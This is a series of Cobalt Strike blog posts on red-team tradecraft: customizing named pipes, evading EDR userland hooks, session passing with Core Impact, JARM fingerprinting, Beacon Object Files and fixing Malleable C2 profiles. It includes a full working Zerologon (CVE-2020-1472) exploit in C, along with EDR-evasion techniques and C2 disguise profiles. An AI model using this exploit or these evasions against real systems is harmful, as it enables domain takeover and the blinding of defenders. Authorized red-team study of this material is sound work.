## Learn Pipe Fitting for all of your Offense Projects

Named pipes are a method of inter-process communication in Windows. They’re used primarily for local processes to communicate with eachother. They can also facilitate communication between two processes on separate hosts. This traffic is encapsulated in the Microsoft SMB Protocol. If you ever hear someone refer to a named pipe transport as an SMB channel, this is why.

Cobalt Strike uses named pipes in several of its features. In this post, I’ll walk you through where Cobalt Strike uses named pipes, what the default pipename is, and how to change it. I’ll also share some tips to avoid named pipes in your Cobalt Strike attack chain too.

### Where does Cobalt Strike use named pipes?

Cobalt Strike’s default Artifact Kit EXEs and DLLs use named pipes to launder shellcode in a way that defeats antivirus binary emulation circa 2014. It’s still the default. When you see \\.\pipe\MSSE-###-server that’s likely the default Cobalt Strike Artifact Kit binaries. You can change this via the Artifact Kit. Look at src-common/bypass-pipe.c in the Artifact Kit to see the implementation.

Cobalt Strike also uses named pipes for its payload staging in the jump psexec_psh module for lateral movement. This pipename is \\.\pipe\status_##. You can change the pipe via Malleable C2 (set pipename_stager).

Cobalt Strike uses named pipes in its SMB Beacon communication. The product has had this feature since 2013. It’s pretty cool. You can change the pipename via your profile and when you configure an SMB Beacon payload. I’m also aware of a few detections that target the content of the SMB Beacon feature too. The SMB Beacon uses a [length][data] pattern and these IOCs target predictable [length] values at the beginning of the traffic. The smb_frame_header Malleable C2 option pushes back on this. The default pipe is \\[target]\pipe\msagent_##.

Cobalt Strike uses named pipes for its SSH sessions to chain to a parent Beacon. The SSH client in Cobalt Strike is essentially an SMB Beacon as far as Cobalt Strike is concerned. You can change the pipename (as of 4.2) by setting ssh_pipename in your profile. The default name of this pipe (CS 4.2 and later) is \\.\pipe\postex_ssh_####.

Cobalt Strike uses named pipes for most of its post-exploitation jobs. We use named pipes for post-ex tools that inject into an explicit process (screenshot, keylog). Our fork&run tools largely use named pipes to communicate results back to Beacon too. F-Secure’s Detecting Cobalt Strike Default Modules via Named Pipe Analysis discusses this aspect of Cobalt Strike’s named pipes. We introduced the ability to change these pipenames in Cobalt Strike 4.2. Set post-ex -> pipename in your Malleable C2 profile. The default name for these pipes is \\.\pipe\postex_#### in Cobalt Strike 4.2 and later. Prior to 4.2, the default name was random-ish.

### Pipe Fitting with Cobalt Strike

With the above, you’re now armed with knowledge of where Cobalt Strike uses named pipes. You’re also empowered to change their default names too. If you’re looking for a candidate pipename, use ls \\.\pipe from Beacon to quickly see a list of named pipes on a lived-in Windows system. This will give you plenty to choose from. Also, when you set your plausible pipe names, be aware that each # character is replaced with a random character (0-9a-f) as well.  And, one last tip: you can specify a comma-separated list of candidate pipe names in your ssh_pipename and post-ex -> pipename profile values. Cobalt Strike will pick from this list, at random, when one of these values is needed.

Cobalt Strike uses named pipes in several parts of its offense chain. These are largely optional though and you can avoid them with some care. For example, the default Artifact Kit uses named pipes; but this is not a requirement of the Artifact Kit. Our other Artifact Kit templates do not use named pipes. For lateral movement and peer-to-peer chaining of Beacons, the TCP Beacon is an option. To avoid named pipes from our SSH sessions, tunnel an external SSH client via a SOCKS proxy pivot. And, while a lot of our fork&run post-exploitation DLLs use named pipes for results, Beacon Object Files are another way to build and run post-exploitation tools on top of Beacon. The Beacon Object Files mechanism does not use named pipes.

### Closing Thoughts

This post focused on named pipe names, but the concepts here apply to the rest of Cobalt Strike as well. In offense, knowing your IOCs and how to change or avoid them is key to success. Our goal with Cobalt Strike isn’t amazing and ever-changing default pipe names or IOCs. Our goal is flexibility. Our current and future work is to give you more control over your attack chain over time. To know today’s options, read Kits, Profiles, and Scripts… Oh my! This blog post summarizes ways to customize Cobalt Strike. Our late-2019 Red Team Operations with Cobalt Strike mixes these ideas into each lecture as well.

## Pushing back on userland hooks with Cobalt Strike

When I think about defense in the current era, I think of it as a game of instrumentation and telemetry. A well-instrumented endpoint provides a defense team and an automated security solution with the potential to react to or have visibility into a lot of events on a system. I say a lot, because certainly some actions are not easy to see [or practical to work with] via today’s instrumentation methods.

A popular method to instrument Windows endpoints is userland hooking. The process for this instrumentation looks like this:

(a) load a security product DLL into the process space [on process start, before the process starts to do anything]

(b) from the product DLL: installs hooks into certain APIs of interest. There are a lot of different ways to hook, but one of the most common is to patch the first instructions in a function-of-interest to jump to the vendor’s code, do the analysis, execute the patched over instructions, and resume the function just after the patch.

This method of instrumentation is popular because it’s easy-ish to implement, well understood, and was best practice in security products for a very long time. It’s still common in a lot of security technologies today.

The downside of the above instrumentation method is that it’s also suscpetible to tamper and attack by an adversary. The adversary’s code that lives in a process has the same rights and ability to examine and change code as the security product that installed itself there.

The above possibility is the impetus for this blog post. I’d like to walk you through a few strategies to subvert instrumentation implemented as userland hooks with the Cobalt Strike product.

### Which products use hooks and what do they hook?

Each of these techniques does benefit from awareness of the endpoint security products in play and how [also, if] they use userland hooks to have visibility.  Devisha Rochlani did a lot of work to survey different products and document their hooks. Read the Anti-virus Artifacts papers for more on this.

To do target-specific leg work, consult Matt Hand’s Adventures in Dynamic Evasion. Matt discusses how to identify hooks in a customer’s environment right now and use that information to programatically craft a tailored evasion strategy.

### Avoid Hooks with Direct System Calls

One way to defeat userland hooks is to avoid them by making system calls directly from our code.

A direct syscall is made by populating registers with arguments and a syscall number that corresponds to an API exposed to userland by the operating system kernel. The system call is then invoked with the syscall instruction. NTDLL is largely thin wrappers around these kernel APIs and is a place some products insert their hooks. By making syscalls directly from our code, and not calling them via NTDLL (or an API that calls them via NTDLL), we avoid these hooks.

The value of this technique is that we deny a security product visibility into our actions via this means. The downside is we have to adapt our code to working with these APIs specifically.

If a security product isn’t using userland hooks this technique provides no evasion value. If we use system calls for uninteresting (e.g., not hooked) actions–this technique provides no evasion value.

Also, be aware that direct system calls (outside of specific contexts, like NTDLL) can be disabled process-by-process in Windows 10. This is the ProcessSystemCallDisablePolicy. If something can be disabled, I surmise it can also be monitored and used for detection purposes too. This leads to a familiar situation. A technique that provides evasion utility now can also provide detection opportunities later on. This is a trueism with most things offense. Always keep it in mind when deciding whether or not to use a technique like this.

With the above out of the way, what are some opportunities to use system calls from Cobalt Strike’s Beacon?

One option is to use system calls in your EXE and DLL artifacts that run Cobalt Strike’s Beacon. The blog post Implementing Syscalls in the Cobalt Strike Artifact Kit walks through how to do this for Cobalt Strike’s EXEs and DLLs. The post’s author shared that VirtualAlloc, VirtualProtect, and CreateThread are calls some products hook to identify malicious activity. I’d also go further and say that if your artifact spawns a process and injects a payload into it, direct syscalls are a way to hide this behavior from some security stacks.

Another option is to use system calls within some of your Beacon post-exploitation activities. While Beacon doesn’t use direct system calls with any of its built-ins, you can define your own built-ins with Beacon Object Files. Cornelis de Plaa from Outflank authored Direct Syscalls from Beacon Object Files to demonstrate how to use Jackson T.‘s Syswhispers 1 (Syswhispers 2 just came out!) from Beacon Object Files. As a proof-of-concept, Cornelis released a Beacon Object File to restore plaintext credential caching in LSASS via an in-memory patch.

Building on the above, Alfie Champion used Outflank’s foundation and re-implemented Cobalt Strike’s shinject and shspawn as Beacon Object Files that use direct system calls. This provides a way to do process injection from Cobalt Strike, but evade detections that rely on userland hooks. The only thing that’s missing is some way for scripts to intercept Cobalt Strike’s built-in fork&run actions and override the built-in behaviors with a BOF. Hmmmmm.

### Refresh DLLs to Remove Function Hooks

Another way to defeat userland hooks is to find hooks implemented as code patches and restore the functions to their original uninstrumented state. One way to do this is to find hooked DLLs in memory, read the original DLL from disk, and use that content to restore the mapped DLL to its unhooked state. This is DLL refreshing.

The simplest case of DLL refreshing is to act on NTDLL. NTDLL is a good candidate, because its really easy to refresh. You don’t have to worry about relocations and alternate API sets. NTDLL is also a good candidate because it’s a target for security product hooks! The NTDLL functions are often the lowest-level API that other Windows APIs call from userland. A well-placed hook in NTDLL will grant visibility into all of the userland APIs that use it.

You can refresh NTDLL within a Cobalt Strike Beacon with a Beacon Object File. Riccardo Ancarani put together a proof-of-concept to do this. Compile the code and use inline-execute to run it.

If NTDLL is not enough, you can refresh all of the DLLs in your current process. This path has more peril though. The DLL refreshing implementation needs to account for relocations, apisets, and other stuff that makes the unhooked code on disk differ from the unhooked code in memory. Jeff Tang from Cylance’s Red Team undertook this daunting task in 2017 and released their Universal Unhooker (whitepaper).

I’ve put together a Beacon Object File implementation of Cylance’s Universal Unhooker. The script for this BOF adds an unhook alias to Beacon. Type unhook and Beacon will pass control to the unhooker code, let it do its thing, and then return control back to Beacon.

Both of these techniques are great options to clean your Beacon process space before you start into other offense activities.

While the above are Beacon Object Files and presume that your Beacon is already loaded, you may also find it’s worthwhile to implement DLL refreshing in your initial access artifact too. Like direct system calls, this is a way to defeat userland hooking visibility that could affect your agent loading or its initial communications.

### Prevent Hooks via Windows Process Mitigations

So far, we’ve discussed ways to defeat hooks by either avoiding them or undoing them. It’s possible to prevent hooking altogether too.

I became interested in this approach, when I learned that Google Chrome takes many steps to prevent security products from loading into its process space. Google was tired of entertaining crash reports from poorly implemented endpoint security products and opted to fight back against this in their own code. I share Google’s concerns about allowing an endpoint security product to share space with my post-exploitation code. My reasons are different, but we’re very much aligned on this cause!

The above led me to experiment with the Windows 10 process mitigation policy, BinarySignaturePolicy. A process run with a BinarySignaturePolicy of MicrosoftSignedOnly will refuse to load any DLL not signed by Microsoft into that process space. This mitigation prevents some security products from loading their DLLs into the new process space.

I opted to use the above to implement blockdlls in Cobalt Strike 3.14. blockdlls is a session prepping command to run processes with this flag set. The idea of blockdlls is processes spawned by Beacon will be free to act with less scrutiny, in some situations.

There are caveats to blockdlls. The mitigation is a recent-ish Windows 10 addition. It doesn’t work on versions of Windows where this mitigation isn’t implemented. Duh! And, security vendors do have the option to get Microsoft to sign their DLLs via an attestation service offered by Microsoft. A few made this exact move after Cobalt Strike weaponized this mitigation in version 3.14.

For more information on this technique and its variations, read Adam Chester’s Protecting Your malware with blockdlls and ACG. It’s a great overview of the technique and also discusses variations of the same idea.

Like direct system calls, I see the use of process mitigations as an evasion that is also potentially its own tell. Be aware of this tradeoff. Also, like direct system calls, this is an option that has use both during post-exploitation and in an initial access artifact. Any initial access artifact that performs migration (again, Cobalt Strike’s service executables do this) could benefit from this approach in some security stacks too.

### Closing Thoughts

And, there you have it. This blog posted presented a few different techniques to defeat userland hooks with Cobalt Strike. Better, each of these techniques delivers benefit at different places in Cobalt Strike’s engagement cycle.

Be aware that each of these methods is beneficial in very specific circumstances. None of the above will have impact against technologies that do not use userland hooks for instrumentation. Offense is always about trade-offs. Knowing the techniques available to you and knowing their trade-offs will help you assess your situation and decide the best way forward. This is key to good security testing engagements.

## Agent Deployed: Core Impact and Cobalt Strike Interoperability

Core Impact 20.3 has shipped this week. With this release, we’re revealing patterns for interoperability between Core Impact and Cobalt Strike. In this post, I’ll walk you through these patterns and provide advice on how to get benefit using Cobalt Strike and Core Impact together.

### A Red Team Operator’s Introduction to Core Impact

Prior to jumping into the patterns, I’d like to introduce you to Core Impact with my voice. Core Impact is a commercial penetration testing tool and exploit framework that has had continuous development since 1998.

Impact is a collection of remote, local, and client-side attacks for public vulnerabilities and other common offense actions. We implement [with special attention to QA] our own exploits as well. While we announce 2-3 product updates per year, we push new modules and module updates in between releases too.

Impact is also a collection of post-exploitation agents for Windows, Linux, other *NIX flavors (to include OS X), and Cisco IOS. While Windows has the most features and best support, our *NIX agents are robust and useful. The pivoting model and interface for these platforms is largely unified. The Impact agent is one of my favorite parts of the product.

Core Impact also has a graphical user interface to bring all of these things together. It’s quirky and does have a learning curve. But, once you grok the ideas behind it, the product clicks and it is thought out.

While Core Impact was long-marketed as a vulnerability verification tool [notice: I’m not mentioning the automation], it’s clear to me that the product was architected by hackers. This hacker side of Core Impact is what I’d like to show you in this video walk-through:

### Session Passing from Core Impact to Cobalt Strike

One of the most important forms of tool interoperability is the ability to pass sessions between platforms.

Core Impact 20.3 includes a Run shellcode in temporary process module to support session passing. This module spawns a temporary process and injects the contents of the specified file into it. The module does support spawning code x86 -> x86, x64 -> x64, and x64 -> x86.

To pass a session from Core Impact to Cobalt Strike:

[Cobalt Strike]

1. Go to Attacks -> Packages -> Windows EXE (S)
2. Press … to choose your listener
3. Change Output to raw
4. Check x64 if you wish to export an x64 payload.
5. Press Generate and save the file

[Core Impact]

1. Right-click on the desired agent and click Set as Source
2. Find the Run shellcode in temporary process module and double-click it.
3. Set ARCHITECTURE to x86-64 if you exported an x64 payload
4. Set FILENAME to the file generated by Cobalt Strike
5. Press OK

This pattern is a great way to spawn Cobalt Strike’s Beacon after a successful remote or privilege escalation exploit with Core Impact.

### Session Passing from Cobalt Strike to Core Impact

You can also spawn a Core Impact agent from Cobalt Strike too. If Core Impact and Cobalt Strike can reach the same network, this pattern is a light way to turn an access obtained with Beacon (e.g., via phishing, lateral movement, etc.) into an Impact agent.

[Core Impact]

1. Find the Package and Register Agent module and double-click it.
2. Change ARCHITECTURE to x86-64 if you’d like to export an x64 agent
3. Change BINARY TYPE to raw
4. Change TARGET FILE to where you would like to save the file
5. Expand Agent Connection
6. Change CONNECTION METHOD and PORT to fit your preference. I find the Connect from target (reverse TCP connection) is the most performant.

[Cobalt Strike]

1. Interact with a Beacon
2. Type shspawn x64 if you exported an x64 agent. Type shspawn x86 if you exported an x86 agent.
3. Find the file that you exported.
4. Press Open.

In a few moments, you should hear that famous New Agent Deployed wav.

### Tunnel Core Impact exploits through Cobalt Strike

Core Impact has an interesting offensive model. Its exploits and scans do not originate from your Core Impact GUI. The entire framework is architected to delegate offense activity through a source agent. The currently selected source agent also acts as a controller to receive connections from reverse agents [or to connect to and establish control of bind agents]. In this model, the offense process is: start with local agent, find and exploit target, set new agent as source agent, find and exploit newly visible targets, repeat until satisfied.

As the agent is the main offense actor in Core Impact, tunneling Core Impact exploits is best accomplished by tunneling the Core Impact agent through Cobalt Strike’s Beacon.

Cobalt Strike 4.2 introduced the spunnel command to spawn Core Impact’s Windows agent in a temporary process and create a localhost-only reverse port forward for it. Here are the steps to tunnel Core Impact’s agent with spunnel:

[Core Impact]

1. Click the Modules tab in the Core Impact user interface
2. Search for Package and Register Agent
3. Double-click this module
4. Change Platform to Windows
5. Change Architecture to x86-64
6. Change Binary Type to raw
7. Click Target File and press … to decide where to save the output.
8. Go to Agent Connection
9. Change Connection Method to Connect from Target
10. Change Connect Back Hostname to 127.0.0.1
11. Change Port to some value (e.g., 9000) and remember it.
12. Press OK.

[Cobalt Strike]

1. Interact with a Beacon
2. Type spunnel x64 [impact IP address] 9000 and press enter.
3. Find the file that you exported.
4. Press Open.

This similar to passing a session from Cobalt Strike to Core Impact. The difference here is the Impact agent’s traffic is tunneled through Cobalt Strike’s Beacon payload.

What happens when Cobalt Strike’s team server is on the internet and Core Impact is on a local Windows virtual machine? We have a pattern for this too. Run a Cobalt Strike client from the same Windows system that Core Impact is installed onto. Connect this Cobalt Strike client to your team server. In this setup, run spunnel_local x64 127.0.0.1 9000 to spawn and tunnel the Impact agent through Beacon. The spunnel_local command is like spunnel, with the difference that it routes the agent traffic from Beacon to the team server and onwards through your Cobalt Strike client. The spunnel_local command was designed for this exact situation.

### Next step: Request a trial

The above options are our patterns for interoperability between Core Impact and Cobalt Strike.

If you have Cobalt Strike and would like to try these patterns with Core Impact, we recommend that you request a trial of Core Impact and try it out.

## A Red Teamer Plays with JARM

I spent a little time looking into Saleforce’s JARM tool released in November. JARM is an active tool to probe the TLS/SSL stack of a listening internet application and generate a hash that’s unique to that specific TLS/SSL stack.

One of the initial JARM fingerprints of interest relates to Cobalt Strike. The value associated with Cobalt Strike is:

07d14d16d21d21d07c42d41d00041d24a458a375eef0c576d23a7bab9a9fb1

To generate a JARM fingerprint for an application, use the JARM python tool:

python3 jarm.py [target] -p [port]

I opted to dig into this, because I wanted to get a sense of whether the fingerprint is Cobalt Strike or Java.

### Cobalt Strike’s JARM Fingerprint is Java’s JARM Fingerprint

I started my work with a hypothesis: Cobalt Strike’s JARM fingerprint is Java’s JARM fingerprint. To validate this, I created a simple Java SSL server application (listens on port 1234) in Sleep.

import javax.net.*;
import javax.net.ssl.*;

$factory = [SSLServerSocketFactory getDefault];$server  = [$factory createServerSocket: 1234]; [$server setSoTimeout: 0];

if (checkError($error)) { warn($error);
}

while (true) {
$socket = [$server accept];
[$socket startHandshake]; [$socket close];
}


I ran this server from Java 11 with:

java -jar sleep.jar server.sl

I assessed its JARM fingerprint as:

00000000000000000042d41d00041d7a6ef1dc1a653e7ae663e0a2214cc4d9

Interesting! This fingerprint does not match the supposed Cobalt Strike fingerprint. Does this mean we’re done? No.

The current popular use of JARM is to fingerprint web server applications listening on port 443. This implies that these servers have a certificate associated with their TLS communications. Does this change the above JARM fingerprint? Let’s setup an experiment to find out.

I generated a Java keystore with a self-signed certificate and I directed my simple server to use it:

keytool -keystore ./exp.store -storepass 123456 -keypass 123456 -genkey -keyalg RSA -dname “CN=,OU=,O=,L=,S=,C=”
java -Djavax.net.ssl.keyStore=./exp.store -Djavax.net.ssl.keyStorePassword=123456 -jar sleep.jar server.sl

The JARM result:

07d14d16d21d21d07c42d41d00041d24a458a375eef0c576d23a7bab9a9fb1

Interesting. We’ve validated that the above JARM fingerprint is specific to a Java 11 TLS stack.

Another question: is the JARM fingerprint affected by Java version? I setup several experiments and validated that yes, different major Java versions have different JARM fingerprints in the above circumstance.

### How many Java-native Web servers are on the internet?

Part of the value of JARM is to turn the internet haystack into something smaller for an analyst to sift through. I wanted to get a sense of how much Java is on the internet. Fortunately, this analysis was easy thanks to some timely and available data. Silas Cutler had scanned the internet for port 443 and obtained JARM values for each of these hosts. This data was made available as an SQLite database too. Counting through this data was a relatively easy exercise of:

sqlite> .open jarm.sqlite
sqlite> select COUNT(ip) FROM jarm WHERE hash = “[hash here]”;

Here’s what I found digging through this data:

Application Count JARM Hash
Java 1.8.0 21,099 07d14d16d21d21d07c07d14d07d21d9b2f5869a6985368a9dec764186a9175
Java 1.9.0 9 05d14d16d04d04d05c05d14d05d04d4606ef7946105f20b303b9a05200e829
Java 11.05 2,957 07d14d16d21d21d07c42d41d00041d24a458a375eef0c576d23a7bab9a9fb1

I went a slight step further with this data. I opted to convert the Java 11.05 data to hostnames and eyeball what appeared as interesting. I found several mail servers. I did not investigate which application they are. I found an instance of Burp Intruder (corroborating Salesforce’s blog post). I also found several instances of Oracle Peoplesoft as well. These JARM hashes are a fingerprint for Java applications, in general.

### Closing Thoughts

For defenders, I wouldn’t act on a JARM value as proof of application identity alone. For red teamers, this is a good reminder to think about pro-active identification of command and control servers. This is a commoditized threat intelligence practice. If your blue team uses this type of information, there are a lot of options to protect your infrastructure. Part 3 of Red Team Operations with Cobalt Strike covers this topic starting at 1h 26m 15s:

JARM is a pretty cool way to probe a server and learn more about what it’s running. I’d love to see a database of JARM hashes and which applications they map to as a reconaissance tool. The C2 fingerprinting is a neat application of JARM too. It’s a good reminder to keep up on your infrastructure OPSEC.

## Beacon Object File ADVENTURES: Some Zerologon, SMBGhost, and Situational Awareness

Cobalt Strike can use PowerShell, .NET, and Reflective DLLs for its post-exploitation features. This is the weaponization problem set. How to take things, developed outside the tool, and create a path to use them in the tool. One of the newest weaponization options in Cobalt Strike are Beacon Object Files.

A Beacon Object File is a tiny C program that is compiled as an object and parsed, linked, and executed by Cobalt Strike’s Beacon payload. The value of Beacon Object Files is that they’re small, they have less execution baggage than the other methods (e.g., no fork and run), and they’re not that bad to develop either.

In this post, I’d like to share with you a few examples of how to extend Cobalt Strike with Beacon Object Files.

## CVE-2020-1472 (aka Zerologon)

Let’s start with CVE-2020-1472, aka the Zerologon exploit. This is an opportunity to remotely attack and gain privileged credential material from an unpatched Windows Domain Controller.

This is a risky attack to carry out. It resets the machine account password for the target domain controller. This will break the domain controller’s functionality. I would limit use of this capability to demonstrations in a snapshotted lab or red vs. blue wargames in a snapshotted lab. I would not use this in production.

Secura, the company that discovered the bug, documents the details of the attack and weaponization chains in their whitepaper. Rich Warren from NCC Group’s Full Spectrum Attack Simulation team published a .NET program that executes this attack too.

While .NET is one path to an exploit, this same capability is a natural fit for a C program too. Here’s the Beacon Object File to exploit CVE-2020-1472 and an Aggressor Script to integrate it into Cobalt Strike:

/*
* Port of SharpZeroLogon to a Beacon Object File
* https://github.com/nccgroup/nccfsas/tree/main/Tools/SharpZeroLogon
*/

#include <windows.h>
#include <stdio.h>
#include <dsgetdc.h>
#include "beacon.h"

typedef struct _NETLOGON_CREDENTIAL {
CHAR data[8];
} NETLOGON_CREDENTIAL, *PNETLOGON_CREDENTIAL;

typedef struct _NETLOGON_AUTHENTICATOR {
NETLOGON_CREDENTIAL Credential;
DWORD Timestamp;
} NETLOGON_AUTHENTICATOR, *PNETLOGON_AUTHENTICATOR;

typedef  enum _NETLOGON_SECURE_CHANNEL_TYPE{
NullSecureChannel = 0,
MsvApSecureChannel = 1,
WorkstationSecureChannel = 2,
TrustedDnsDomainSecureChannel = 3,
TrustedDomainSecureChannel = 4,
UasServerSecureChannel = 5,
ServerSecureChannel = 6,
CdcServerSecureChannel = 7
} NETLOGON_SECURE_CHANNEL_TYPE;

WCHAR Buffer[256];
ULONG Length;

DECLSPEC_IMPORT NTSTATUS NETAPI32$I_NetServerReqChallenge(LPWSTR PrimaryName, LPWSTR ComputerName, PNETLOGON_CREDENTIAL ClientChallenge, PNETLOGON_CREDENTIAL ServerChallenge); DECLSPEC_IMPORT NTSTATUS NETAPI32$I_NetServerAuthenticate2(LPWSTR PrimaryName, LPWSTR AccountName, NETLOGON_SECURE_CHANNEL_TYPE AccountType, LPWSTR ComputerName, PNETLOGON_CREDENTIAL ClientCredential, PNETLOGON_CREDENTIAL ServerCredential, PULONG NegotiatedFlags);
DECLSPEC_IMPORT NTSTATUS NETAPI32$I_NetServerPasswordSet2(LPWSTR PrimaryName, LPWSTR AccountName, NETLOGON_SECURE_CHANNEL_TYPE AccountType, LPWSTR ComputerName, PNETLOGON_AUTHENTICATOR Authenticator, PNETLOGON_AUTHENTICATOR ReturnAuthenticator, PNL_TRUST_PASSWORD ClearNewPassword); void go(char * args, int alen) { DWORD i; NETLOGON_CREDENTIAL ClientCh = {0}; NETLOGON_CREDENTIAL ServerCh = {0}; NETLOGON_AUTHENTICATOR Auth = {0}; NETLOGON_AUTHENTICATOR AuthRet = {0}; NL_TRUST_PASSWORD NewPass = {0}; ULONG NegotiateFlags = 0x212fffff; datap parser; wchar_t * dc_fqdn; /* DC.corp.acme.com */ wchar_t * dc_netbios; /* DC */ wchar_t * dc_account; /* DC$ */

/* extract our arguments */
BeaconDataParse(&parser, args, alen);
dc_fqdn    = (wchar_t *)BeaconDataExtract(&parser, NULL);
dc_netbios = (wchar_t *)BeaconDataExtract(&parser, NULL);
dc_account = (wchar_t *)BeaconDataExtract(&parser, NULL);

for (i = 0; i < 2000; i++) {
NETAPI32$I_NetServerReqChallenge(dc_fqdn, dc_netbios, &ClientCh, &ServerCh); if ((NETAPI32$I_NetServerAuthenticate2(dc_fqdn, dc_account, ServerSecureChannel, dc_netbios, &ClientCh, &ServerCh, &NegotiateFlags) == 0)) {
if (NETAPI32\$I_NetServerPasswordSet2(dc_fqdn, dc_account, ServerSecureChannel, dc_netbios, &Auth, &AuthRet, &NewPass) == 0) {
BeaconPrintf(CALLBACK_OUTPUT, "Success! Use pth .\\%S 31d6cfe0d16ae931b73c59d7e0c089c0 and run dcscync", dc_account);
}
else {
BeaconPrintf(CALLBACK_ERROR, "Failed to set machine account pass for %S", dc_account);
}

return;
}
}

BeaconPrintf(CALLBACK_ERROR, "%S is not vulnerable", dc_fqdn);
}


I’ve recorded a demonstration of this attack chain as well:

The above is a good example of a Beacon Object File that implements an of-interest attack. I’ll add that Benjamin Delpy has also added ZeroLogon to mimikatz. I like that he’s extended the options for dcsync to authenticate to a domain controller with the blank credential. This is a cleaner overall attack chain as we run mimikatz once and get the desired outcome. The same “you’ll wreck this DC” caveats apply. That said, the mimikatz implementation is what I’d use going forward.

## CVE-2020-0796 (aka SMBGhost)

Another cool exploit is CVE-2020-0796, aka the SMBGhost exploit. This is an escalation of privilege opportunity against an unpatched Windows 10 system.

Core Impact has an implementation of this attack. So does the Metasploit Framework. The Metasploit Framework implementation, based on the POC from Garcia Gutierrez and Blanco Parajon, is compiled as a Reflective DLL. Cobalt Strike is able to use this implementation as-is and I demonstrate this in the Elevate Kit. The privilege escalation lecture of our Red Team Operations with Cobalt Strike course covers this pattern.

What about weaponizing CVE-2020-0796 as a Beacon Object File? This is also pretty easy to do. I found that this exploit was a very straight-forward move from Metasploit’s Reflective DLL implementation to BOF. I posted the BOF code for SMBGhost to Github with an Aggressor Script too. The README.txt documents some of the steps I took as well.

What’s neat about this implementation is that it offers two paths to use this exploit. The first path spawns a session and integrates with Beacon’s elevate (elevate smbghost) command. The exploit itself modified our current process’ token, allowing it to do some privileged things from the current context. This first weaponization path uses these semi-enhanced privileges to inject a payload into winlogon.exe.

The second path, implemented as an smbghost alias, exploits the vulnerability, yields the slightly enhanced privileges, and lets you choose what to do with it. This second path is very much Bring Your Own Weaponization 🙂 I want to re-emphasize the some privileges limitation. The token manipulation, made possible by this exploit, allows us to get away with opening/interacting with processes in the same session–where we couldn’t before. The second step of injecting into a privileged process (or spawning a process under a privileged process) is required to cleanly take on a fully privileged context to work from.

## Windows Reconaissance Tools

The above Beacon Object Files are examples I’ve cobbled together. One of my favorite examples of Beacon Object Files come from Christopher Paschen at TrustedSec. Christopher wrote about his experiences with Beacon Object Files in A Developer’s Introduction to Beacon Object Files.

TrustedSec also published a collection of Beacon Object Files (and scripts to integrate them) on Github. The collection is awesome, by the way!

The collection includes several system reconaissance commands that would normally use Cobalt Strike’s fork&run pattern or require you to spawn an external process to get information. It’s a great example of what BOFs enable in this toolset.

To use the collection, simply clone the repository onto your Cobalt Strike system. Then go to Cobalt Strike -> Scripts in Cobalt Strike. Press Load. And navigate to the SA folder (from this repository) and load SA.cna. You will suddenly have a bunch of new aliases you can use from Beacon.

## Closing Thoughts…

I hope you’ve enjoyed this tour of Beacon Object Files. If you have working C code for a post-exploitation concept, Beacon Object Files are a path to turn that C code into something that can work from Cobalt Strike. If you want to see another perspective on this process, watch the Cobalt Strike BOF Making episode (14:45 is the start of this discussion) of the HackThePlanet twitch stream. I also wanted to highlight that there’s some great Beacon Object File capability available in the open source space too. Enjoy!

## Broken Promises and Malleable C2 Profiles

Red Team infrastructure is a detail-heavy subject. Take the case of domain fronting through a CDN like CloudFront. You have to setup the CloudFront distribution, have a valid SSL configuration, and configure your profile properly. If any of these items is wrong, your C2 will not work.

Many folks take “configure your profile properly” for granted. A profile that passes a c2lint check isn’t guaranteed to work in all circumstances you throw at it. A lot of things can go wrong. For example, the CDN may rewrite your HTTP requests in ways that break your Malleable C2 profile. That’s what this blog post is about…

One of my favored ways to quickly setup an SSL-enabled Cobalt Strike is with Alex Rymdeko-harvey‘s HTTPsC2DoneRight.sh script. This script asks a few questions, requests a LetsEncrypt certificate, and sets up a modified Malleable C2 profile that uses this certificate.

The profile used by Alex’s script is amazon.profile. I’ve noticed that many red teamers opt to use this profile with their first experiments to use CloudFront as a redirector for Cobalt Strike.

An Amazon Web Service and an Amazon-like profile, what could go wrong? A lot of things can go wrong. 🙂 If you’ve tried this setup, you may have found a console message [on the team server] that looks like this:

This message means Cobalt Strike could not recover information from an HTTP transaction. Some aspect of the HTTP transaction differs from the assumptions provided by your Malleable C2 profile.

Assumption is the key word. Malleable C2 gives operators a lot of power to change what Cobalt Strike’s HTTP communication looks like. Malleable C2 is an example of a declarative programming language. You, the operator, specify what Beacon’s communication should look like. Cobalt Strike figures out how to make that happen. Specifically, Cobalt Strike compiles your specification into two different programs. One program transforms data and stores it in a transaction. The other program recovers data from a transaction and reverses the transformations made to the data. These programs are patched into the Beacon payload and its controller. If the assumptions of these derived programs break, your communication breaks.

When the above happens, it’s helpful to know how to read the output above and use it to troubleshoot your communication.

Our error message states that Malleable C2 could not recover data from the http-get -> client -> metadata transaction. Beacon provides metadata to tell Cobalt Strike about the session. This RSA-encrypted blob includes situational awareness information (e.g., username, PID, hostname, etc.) and a unique key for the session. Without metadata, Cobalt Strike knows nothing about the session. It’s important that this part of the transaction works.

To resolve this issue, it’s our job to figure out how the expectations of the Malleable C2 profile differ from the reality of the HTTP request received by Cobalt Strike.

Where should we look? The right place is to look at the parts of the HTTP transaction relevant to our failed transaction.

Here’s what the .http-get.client.metadata block looks like in the (slightly modified) amazon profile I used with CloudFront:

http-get {

set uri "/s/ref=nb_sb_noss_1/167-3294888-0262949/field-keywords=books";

client {

base64;
prepend "session-token=";
prepend "skin=noskin;";
append "csm-hit=s-24KU11BB82RZSYGJ3BDK|1419899012996";
}
}


The metadata block base64 encodes the metadata, prepends two strings to it, appends another string, and it stores the entire thing in the HTTP Cookie header. OK.

And, here’s a screenshot of the preview generated by c2lint:

Here, the issue becomes a little more obvious. The Cookie received by Cobalt Strike has the same information, but the parts of the Cookie are in a different order. This is a change CloudFront made to our HTTP transaction. This breaks our profile.

Malleable C2 does not know the semantics of the Cookie field. To recover data from this transaction, it knows it must recover the value of the Cookie header, remove some appended strings, remove some prepended strings, and base64 decode what’s left. Any unexpected change (e.g., spaces removed, new strings, re-arranged strings, etc.) breaks this process.

What’s the solution? In this case, we could update the structure of our HTTP Cookie to match what CloudFront will transform it to. This would work just fine. We could also store our metadata in something other than the Cookie header. Either approach is OK.

http-get {

set uri "/s/ref=nb_sb_noss_1/167-3294888-0262949/field-keywords=books";

client {

base64;
prepend "session-token=";
append "csm-hit=s-24KU11BB82RZSYGJ3BDK|1419899012996";
append "; skin=noskin";
}
}


Note: This metadata block will fail a c2lint check because of the space between ; and skin=noskin. c2lint’s advice is sound, but risk averse. Here, the space is necessary to match what we will receive after passing an HTTP transaction through CloudFront.

